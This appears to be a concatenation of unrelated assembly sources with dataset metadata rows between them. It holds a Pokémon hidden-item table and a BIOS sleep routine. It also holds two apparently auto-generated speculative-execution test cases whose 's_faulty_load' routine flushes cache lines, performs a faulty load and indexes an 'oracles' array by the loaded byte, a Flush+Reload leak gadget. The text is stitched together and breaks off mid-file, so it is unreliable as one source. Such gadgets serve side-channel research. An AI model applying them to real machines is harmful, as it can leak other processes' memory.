push %r13
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x13731, %rdi
nop
nop
nop
nop
xor $46066, %r13
mov $0x6162636465666768, %r15
movq %r15, (%rdi)
nop
nop
nop
sub $62568, %r10
lea addresses_WT_ht+0x1e1b1, %rsi
lea addresses_UC_ht+0x9fb1, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %r13, %r13
mov $30, %rcx
rep movsl
nop
nop
nop
cmp %r15, %r15
lea addresses_WT_ht+0x16ab1, %rcx
clflush (%rcx)
nop
nop
cmp $48530, %r9
movb (%rcx), %r10b
nop
nop
nop
nop
nop
xor $62625, %rsi
lea addresses_UC_ht+0x16229, %r10
nop
nop
nop
nop
nop
add %r13, %r13
mov (%r10), %cx
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x18fb1, %r15
nop
add $54913, %rcx
movb (%r15), %r10b
add %r9, %r9
lea addresses_WC_ht+0x185e2, %r10
clflush (%r10)
dec %rsi
mov (%r10), %r15d
nop
nop
nop
nop
nop
inc %rdi
lea addresses_A_ht+0x19551, %r15
nop
nop
nop
nop
nop
cmp $61046, %rsi
vmovups (%r15), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r13
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x71a1, %rsi
nop
nop
nop
nop
nop
xor $48648, %r10
movb $0x61, (%rsi)
nop
nop
xor $51126, %r9
lea addresses_WC_ht+0xc9e1, %rcx
clflush (%rcx)
nop
nop
add %r9, %r9
mov $0x6162636465666768, %r10
movq %r10, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
add $30867, %r13
lea addresses_WT_ht+0x9831, %rdi
nop
nop
nop
nop
nop
sub %r13, %r13
movb (%rdi), %r9b
nop
nop
nop
nop
sub $59666, %rsi
lea addresses_D_ht+0xe2b1, %rsi
and $56442, %rdi
movl $0x61626364, (%rsi)
xor %r9, %r9
lea addresses_A_ht+0x7f7f, %r10
nop
nop
nop
nop
dec %r13
mov $0x6162636465666768, %r15
movq %r15, %xmm4
and $0xffffffffffffffc0, %r10
vmovaps %ymm4, (%r10)
nop
nop
xor $4501, %r15
lea addresses_UC_ht+0x11db1, %rdi
nop
nop
nop
nop
nop
sub $8095, %r13
vmovups (%rdi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0x65f1, %rsi
lea addresses_normal_ht+0x18dd1, %rdi
nop
nop
nop
nop
add $16831, %r8
mov $114, %rcx
rep movsb
nop
nop
add %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
mov $0xa31, %rsi
mov $0x47de9c00000007b1, %rdi
nop
nop
inc %r12
mov $40, %rcx
rep movsq
nop
nop
nop
nop
nop
and $7837, %rcx
// Faulty Load
mov $0x47de9c00000007b1, %rbx
xor $29996, %rbp
movups (%rbx), %xmm4
vpextrq $0, %xmm4, %rdi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_P', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_NC', 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'00': 9054, '16': 5524}
00 00 16 16 00 00 00 16 16 00 16 00 00 00 00 00 16 00 16 00 16 16 16 00 00 00 16 00 16 16 00 00 00 00 00 00 00 00 00 00 00 00 16 00 16 16 00 00 00 16 00 00 16 00 16 16 16 00 00 00 00 00 16 00 16 16 00 16 00 16 00 00 16 00 00 16 16 16 16 16 00 16 00 00 00 16 16 00 00 00 00 16 00 00 00 16 16 00 00 16 16 00 00 00 16 00 00 00 00 00 16 16 16 00 16 16 00 00 16 00 00 00 00 00 00 00 16 00 00 16 00 16 16 00 16 16 16 00 16 16 16 00 00 16 00 16 16 00 00 00 16 00 00 16 16 00 00 16 00 16 16 00 16 16 16 00 16 16 16 00 00 00 16 16 16 00 16 00 00 16 16 00 16 16 00 00 00 00 00 16 16 00 00 00 16 16 00 16 00 16 00 00 00 16 16 00 00 16 00 00 00 00 16 00 00 16 16 00 16 00 16 00 00 00 00 00 00 00 00 00 16 00 00 00 00 16 00 00 16 00 00 00 00 16 00 16 16 16 16 00 00 16 16 00 00 00 16 00 16 16 16 00 00 00 00 00 00 16 16 00 16 00 16 00 00 00 16 00 00 16 00 00 00 00 00 16 00 16 00 00 00 16 16 16 00 00 16 00 16 16 00 16 00 00 00 00 00 16 00 16 00 00 16 00 00 16 16 00 00 16 00 00 00 00 00 00 00 00 16 00 16 00 00 00 00 16 00 00 16 00 00 00 00 16 00 00 00 00 00 16 00 00 16 00 00 00 00 16 00 16 16 16 00 16 00 00 00 16 16 00 00 00 00 00 16 00 00 00 16 00 00 00 00 16 00 16 00 00 16 16 00 00 00 16 00 00 16 16 00 00 00 00 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 16 16 16 16 00 16 16 00 16 00 16 16 16 00 00 16 16 00 00 00 00 00 00 16 16 00 00 00 16 16 00 00 16 16 16 00 00 00 00 00 16 16 00 16 00 00 00 00 00 16 16 00 00 00 00 00 16 00 00 00 16 16 00 00 00 00 00 00 00 16 16 00 16 16 16 16 00 00 00 16 16 16 00 00 00 16 16 16 00 00 00 00 00 00 16 16 16 00 00 16 16 16 16 16 00 16 16 16 16 16 00 00 00 16 16 16 00 16 16 00 16 16 00 16 16 16 00 00 16 00 16 00 16 16 00 00 16 00 16 00 00 16 00 00 00 00 16 16 00 00 16 00 00 16 16 00 00 16 16 00 16 00 16 16 00 00 16 00 00 00 00 16 16 00 16 00 00 00 16 00 00 16 00 00 00 16 00 00 00 00 00 00 00 00 16 00 16 00 00 16 00 00 16 00 16 00 00 16 16 00 00 00 00 00 00 00 16 00 00 16 00 16 00 00 00 16 00 00 16 16 00 00 16 16 16 16 16 16 00 16 00 00 00 00 00 00 00 00 00 16 16 16 00 00 16 16 16 00 00 16 00 16 00 00 16 16 00 16 00 00 00 16 16 00 16 16 16 16 16 16 00 16 00 16 16 00 00 16 00 00 00 16 16 16 16 00 00 16 16 00 00 00 00 00 16 00 00 16 00 00 16 16 00 00 00 00 00 00 16 00 00 00 16 00 16 00 16 00 16 00 00 00 16 00 00 00 00 00 00 16 16 16 00 00 16 00 00 16 16 00 00 16 00 00 16 16 00 00 00 00 16 16 00 00 16 00 16 16 16 16 00 16 16 00 16 00 16 16 00 00 16 16 16 00 00 00 00 16 00 16 16 00 00 16 16 16 16 00 16 00 16 00 16 16 00 00 16 00 16 16 00 00 00 00 00 00 16 16 00 00 16 16 00 00 16 16 00 00 00 00 00 00 16 16 00 16 00 00 00 16 00 00 16 00 16 16 00 16 00 16 00 16 00 16 16 00 16 16 00 00 16 16 00 16 16 00 00 00 00 16 00 16 16 00 00 00 00 16 00 16 00 16 00 00 00 16 00 16 00 00 16 16 00 16 16 16 00 16 00 16 00 00 00 16 00 00 00 16 16 16 16 00 16 16 00 00 16 16 00 00 16 16 16 00 00 00 00 00 16 00 16 00 16 00 00 16 16 00 00 16 00 00 00 16 00 16 00 00 16 16 00 00 00 00 16 00 16 16 00 00 16 00 00 00 00 16 16 16 00 00 16 00 00 00 00 00 00 00 16 00 00 16
*/
| 31.406375 | 2,999 | 0.655461 |
115f53aa8a0a3d5a7156f7d23d947068486e9b79 | 2,910 | asm | Assembly | data/events/hidden_item_coords.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/events/hidden_item_coords.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/events/hidden_item_coords.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | hidden_item: MACRO
db \1, \3, \2
ENDM
HiddenItemCoords:
; map id, x, y
hidden_item VIRIDIAN_FOREST, 1, 18
hidden_item VIRIDIAN_FOREST, 16, 42
hidden_item MT_MOON_B2F, 18, 12
hidden_item ROUTE_25, 38, 3
hidden_item ROUTE_9, 14, 7
hidden_item SS_ANNE_KITCHEN, 13, 9
hidden_item SS_ANNE_B1F_ROOMS, 3, 1
hidden_item ROUTE_10, 9, 17
hidden_item ROUTE_10, 16, 53
hidden_item ROCKET_HIDEOUT_B1F, 21, 15
hidden_item ROCKET_HIDEOUT_B3F, 27, 17
hidden_item ROCKET_HIDEOUT_B4F, 25, 1
hidden_item POKEMON_TOWER_5F, 4, 12
hidden_item ROUTE_13, 1, 14
hidden_item ROUTE_13, 16, 13
hidden_item POKEMON_MANSION_B1F, 1, 9
hidden_item SAFARI_ZONE_GATE, 10, 1 ; inaccessible
hidden_item SAFARI_ZONE_WEST, 6, 5
hidden_item SILPH_CO_5F, 12, 3
hidden_item SILPH_CO_9F, 2, 15
hidden_item COPYCATS_HOUSE_2F, 1, 1
hidden_item CERULEAN_CAVE_1F, 14, 11
hidden_item CERULEAN_CAVE_B1F, 27, 3
hidden_item POWER_PLANT, 17, 16
hidden_item POWER_PLANT, 12, 1
hidden_item SEAFOAM_ISLANDS_B2F, 15, 15
hidden_item SEAFOAM_ISLANDS_B4F, 25, 17
hidden_item POKEMON_MANSION_1F, 8, 16
hidden_item POKEMON_MANSION_3F, 1, 9
hidden_item ROUTE_23, 9, 44
hidden_item ROUTE_23, 19, 70
hidden_item ROUTE_23, 8, 90
hidden_item VICTORY_ROAD_2F, 5, 2
hidden_item VICTORY_ROAD_2F, 26, 7
hidden_item UNUSED_MAP_6F, 14, 11
hidden_item VIRIDIAN_CITY, 14, 4
hidden_item ROUTE_11, 48, 5
hidden_item ROUTE_12, 2, 63
hidden_item ROUTE_17, 15, 14
hidden_item ROUTE_17, 8, 45
hidden_item ROUTE_17, 17, 72
hidden_item ROUTE_17, 4, 91
hidden_item ROUTE_17, 8, 121
hidden_item UNDERGROUND_PATH_NORTH_SOUTH, 3, 4
hidden_item UNDERGROUND_PATH_NORTH_SOUTH, 4, 34
hidden_item UNDERGROUND_PATH_WEST_EAST, 12, 2
hidden_item UNDERGROUND_PATH_WEST_EAST, 21, 5
hidden_item CELADON_CITY, 48, 15
hidden_item ROUTE_25, 10, 1
hidden_item MT_MOON_B2F, 33, 9
hidden_item SEAFOAM_ISLANDS_B3F, 9, 16
hidden_item VERMILION_CITY, 14, 11
hidden_item CERULEAN_CITY, 15, 8
hidden_item ROUTE_4, 40, 3
db -1 ; end
| 46.935484 | 66 | 0.539175 |
23497343d31b831dfbb4c64c1348f3173b4f619b | 1,682 | asm | Assembly | src/os/boot/sleep16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/os/boot/sleep16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/os/boot/sleep16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | ; sleep for ax * 100ms. ax must be in [1, 600]
busy_sleep:
pushf
pusha
; do nothing if input is zero
cmp ax, 0
je .input_error
cmp ax, 600
jg .input_error
jmp .input_ok
.input_error:
mov si, ._msg
call print_str
mov si, _crlf
mov dx, ax
call print_hex16
mov si, _crlf
call print_str
jmp halt
.input_ok:
; ax = (ax * 100 + 54) / 55
mov cx, 100
mul cx
add ax, 54 ; round up
mov cx, 55
div cx
;
; compute when to stop
;
mov bx, ax
; get system time (# ticks since midnight)
; http://www.ctyme.com/intr/rb-2271.htm
mov ah, 0x00
int 0x1a
add bx, dx
cmp bx, dx
ja .bx_not_overflow ; jg is signed, ja is unsigned
add cx, 1 ; carry one
.bx_not_overflow:
cmp cx, 0x18
je .last_hour
jmp .sleep_until
.last_hour:
cmp bx, 0x00b0
jb .sleep_until ; jle is signed, jbe is unsigned
; pass midnight, cx:bx = cx:bx mod 0x1800b0
mov cx, 0
sub bx, 0x00b0
;
; Sleep until we have reach the computed stop tick
;
.sleep_until:
push bx
push cx
; copy sp into si so that we can access stack without popping
mov si, sp
.sleep_loop:
mov ah, 0x00
int 0x1a
mov bx, [si] ; stop hour
; if stop hour == 24
cmp bx, 0x18
je .cmp_midnight ; handle wrap around
.cmp_hour:
; if stop hour < current hour
cmp bx, cx
jb .done ; jl is signed, jb is unsigned
; if stop hour > current hour
cmp bx, cx
ja .sleep_loop
mov bx, [si+2] ; stop minute
; if stop minute > current minute
cmp bx, dx
ja .sleep_loop
.done:
pop cx
pop bx
popa
popf
ret
.cmp_midnight:
cmp cx, 0
je .done ; past midnight
jmp .cmp_hour
._msg:
db 'Invalid sleep duration: ', 0
| 13.786885 | 63 | 0.636147 |
805206a4d19a206131e99bfc9dba3cfdce6827de | 5,403 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_982.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_982.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_982.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xe68f, %r11
and %rdx, %rdx
mov (%r11), %cx
nop
nop
nop
nop
nop
inc %r8
lea addresses_WC_ht+0xb28f, %rcx
nop
xor %rbp, %rbp
movw $0x6162, (%rcx)
nop
nop
cmp $55696, %rdx
lea addresses_WC_ht+0x5f6f, %rsi
lea addresses_A_ht+0x1a2b7, %rdi
nop
nop
nop
nop
add %rax, %rax
mov $58, %rcx
rep movsb
nop
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_UC_ht+0x1914f, %r8
nop
cmp %rdi, %rdi
mov (%r8), %ebp
nop
nop
nop
nop
nop
sub $9706, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x10d9f, %rsi
lea addresses_normal+0x17ee3, %rdi
nop
nop
xor $7486, %r14
mov $63, %rcx
rep movsq
sub $49051, %r11
// Store
mov $0x71bbaf000000028f, %rcx
nop
cmp %rbx, %rbx
movw $0x5152, (%rcx)
nop
nop
nop
nop
nop
and $42463, %r11
// Faulty Load
lea addresses_PSE+0x3a8f, %r11
nop
nop
nop
nop
nop
sub $28673, %rdi
movups (%r11), %xmm4
vpextrq $1, %xmm4, %r13
lea oracles, %r11
and $0xff, %r13
shlq $12, %r13
mov (%r11,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 40.62406 | 2,999 | 0.657968 |
dcedc38f8301001841929867e15f16b77ea74536 | 4,742 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1734_775.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1734_775.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1734_775.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rsi
lea addresses_A_ht+0xaac, %r9
nop
nop
nop
nop
sub $2104, %r11
mov (%r9), %r8
xor %r12, %r12
lea addresses_WC_ht+0x1bbf5, %rsi
nop
nop
sub $18273, %rbp
mov (%rsi), %r8
add $45609, %r12
lea addresses_A_ht+0x62e4, %r8
clflush (%r8)
nop
nop
cmp $7542, %r10
movb (%r8), %r9b
nop
sub $14164, %r9
lea addresses_WT_ht+0x1519c, %r11
add %r12, %r12
movups (%r11), %xmm4
vpextrq $0, %xmm4, %rbp
nop
add $36001, %r9
pop %rsi
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rax
push %rdx
// Faulty Load
lea addresses_D+0xb0e4, %rax
nop
mfence
movaps (%rax), %xmm7
vpextrq $1, %xmm7, %r15
lea oracles, %rdx
and $0xff, %r15
shlq $12, %r15
mov (%rdx,%r15,1), %r15
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'00': 960, '49': 774}
00 00 00 00 49 49 49 49 49 49 49 00 00 00 49 49 00 00 00 00 49 49 49 49 49 49 49 00 49 49 00 00 49 49 49 49 49 00 49 49 49 49 49 00 00 49 00 00 49 00 00 00 49 49 00 49 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 49 00 00 00 49 49 49 00 00 00 00 49 49 49 49 49 00 00 49 49 49 49 00 49 49 00 49 49 49 49 00 00 49 00 00 00 00 49 49 49 49 49 00 49 00 49 49 49 49 49 49 49 49 49 00 49 00 00 49 49 49 49 49 49 49 00 49 49 49 49 00 49 49 49 00 00 00 49 00 00 49 49 00 49 49 49 49 49 49 49 49 49 49 00 49 00 00 00 00 00 49 00 49 49 49 00 49 00 49 00 49 00 00 00 49 49 49 49 49 00 49 49 49 49 00 00 49 49 00 49 49 49 49 00 49 49 49 49 49 49 49 49 00 00 49 49 49 49 00 49 49 00 00 00 00 00 00 49 00 00 00 49 00 00 49 49 00 00 49 00 00 49 00 49 00 00 00 49 00 49 49 49 00 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 00 00 49 49 49 49 00 00 00 49 00 49 49 00 49 49 00 00 49 00 49 00 49 49 49 49 49 49 49 49 00 00 49 00 49 00 00 00 00 49 49 49 00 00 49 49 49 49 49 49 49 00 49 49 49 49 00 49 00 00 00 00 00 00 00 00 00 49 49 49 49 00 49 49 49 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 49 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 00 00 00 00 00 00 00 49 49 49 49 00 00 00 00 49 00 49 00 00 00 49 49 49 49 49 49 49 49 49 00 00 00 00 00 49 49 00 00 00 49 49 00 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 49 49 49 00 49 00 00 00 00 00 00 49 49 49 49 00 49 00 00 49 00 00 00 00 49 49 49 00 00 00 00 00 00 00 49 49 00 49 49 00 00 00 49 00 00 00 00 00 00 49 49 49 49 49 49 49 00 00 00 00 00 00 00 00 49 49 49 49 49 00 00 00 00 00 00 00 49 49 49 00 49 49 49 49 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 00 00 00 00 00 00 00 00 00 00 49 49 49 00 00 00 00 00 00 49 00 49 49 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 49 00 00 00 00 00 49 49 49 00 00 00 00 00 00 00 00 49 49 49 49 49 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 49 00 00 00 49 49 49 49 49 49 49 49 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 49 00 00 00 00 00 00 49 49 49 49 49 00 00 00 00 00 00 00 00 00 00 00 00 49 49 00 00 00 00 00 00 00 49 49 49 49 49 49 00 00 00 49 49 00 49 49 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 49 00 00 49 49 49 49 49 00 00 49 49 49 49 49 00 00 49 49 49 49 49 49 49 00 00 49 00 49 00 00 49 00 00 49 49 49 49 49 49 49 49 49 00 00 49 49 00 00 00 00 00 00 